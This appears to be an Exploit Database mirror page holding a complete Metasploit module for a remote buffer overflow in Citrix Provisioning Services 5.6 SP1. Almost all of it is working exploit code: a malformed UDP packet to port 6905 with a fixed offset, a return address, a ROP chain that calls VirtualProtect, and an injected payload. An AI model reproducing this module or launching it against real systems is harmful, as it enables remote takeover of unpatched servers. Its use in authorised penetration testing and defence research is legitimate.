Citrix Provisioning Services 5.6 SP1 – Streamprocess Opcode 0x40020000 Buffer Overflow (Metasploit)

• Exploit Database
• 19 阅读

• 作者： Metasploit
  日期： 2012-02-10
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18478/

• ##
  # $Id: $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::Udp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020000 Buffer Overflow',
  			'Description'=> %q{
  				This module exploits a remote buffer overflow in the Citrix Provisioning Services
  				5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet to the
  				6905/UDP port.The module has been successfully tested on Windows Server 2003 SP2,
  				Windows 7, and Windows XP SP3.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'AbdulAziz Hariri', # Initial discovery via ZDI
  					'alino <26alino[at]gmail.com>'# Metasploit module
  				],
  			'Version'=> '$Revision: $',
  			'References' =>
  				[
  					['BID', '49803'],
  					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-009'],
  					['URL', 'http://support.citrix.com/article/CTX130846']
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'InitialAutoRunScript' => 'migrate -f',
  				},
  			'Payload'=>
  				{
  					'BadChars' => "\x00",
  					'EncoderOptions' => {'BufferRegister'=>'ECX'},
  				},
  			'Platform' => ['win'],
  			'Targets'=>
  				[
  					[ 'Citrix Provisioning Services 5.6 SP1',
  						{
  							'Offset' => 2012,
  							'Ret'=> 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe
  						}
  					]
  				],
  			'Privileged' => true,
  			'DisclosureDate' => 'Nov 04 2011',#CTX130846 creation date
  			'DefaultTarget'=> 0))
  
  		register_options([Opt::RPORT(6905)], self.class)
  	end
  
  	def exploit
  
  		packet ="\x00\x00\x02\x40" # DATA MSG
  		packet << rand_text_alpha_upper(18)
  		packet << "\x00\x00\x00\x00" # Length
  		packet << rand_text_alpha_upper(target['Offset'])
  		packet << [target.ret].pack('V')
  
  		rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe
  
  		rop_gadgets =
  		[
  			0x0045b141, # POP EAX; RETN streamprocess.exe
  			0x1009a1bc, # VirtualProtect()
  			0x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe
  			0x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe
  			0x004ad0cf, # POP EBP; RETN streamprocess.exe
  			0x00455d9d, # PUSH ESP; RETN streamprocess.exe
  			0x00497f5a, # POP EAX; RETN streamprocess.exe
  			0xfffff9d0, # dwSize
  			0x00447669, # NEG EAX; RETN streamprocess.exe
  			0x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe
  			0x00426305, # POP ECX; RETN streamprocess.exe
  			0x00671fb9, # lpflOldProtect
  			0x004e41e6, # POP EDI; RETN streamprocess.exe
  			0x0040f004, # RETN streamprocess.exe
  			0x00495c05, # POP EAX; RETN streamprocess.exe
  			0xffffffc0, # flNewProtect
  			0x0042c79a, # NEG EAX; RETN streamprocess.exe
  			0x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe
  			0x0045c1fa, # POP EAX; RETN streamprocess.exe
  			0x90909090, # NOP
  			0x00435bbe, # PUSHAD; RETN streamprocess.exe
  		].pack("V*")
  
  		packet[258, rop_nop.length] = rop_nop
  		packet[410, rop_gadgets.length] = rop_gadgets
  		packet[494, 10] = "\xeb\x03\x59\xff\xd1\xe8\xf8\xff\xff\xff"
  		packet[504, payload.encoded.length] = payload.encoded
  
  		print_status("Trying target #{target.name}...")
  
  		connect_udp
  		udp_sock.put(packet)
  
  		handler
  		disconnect_udp
  	end
  end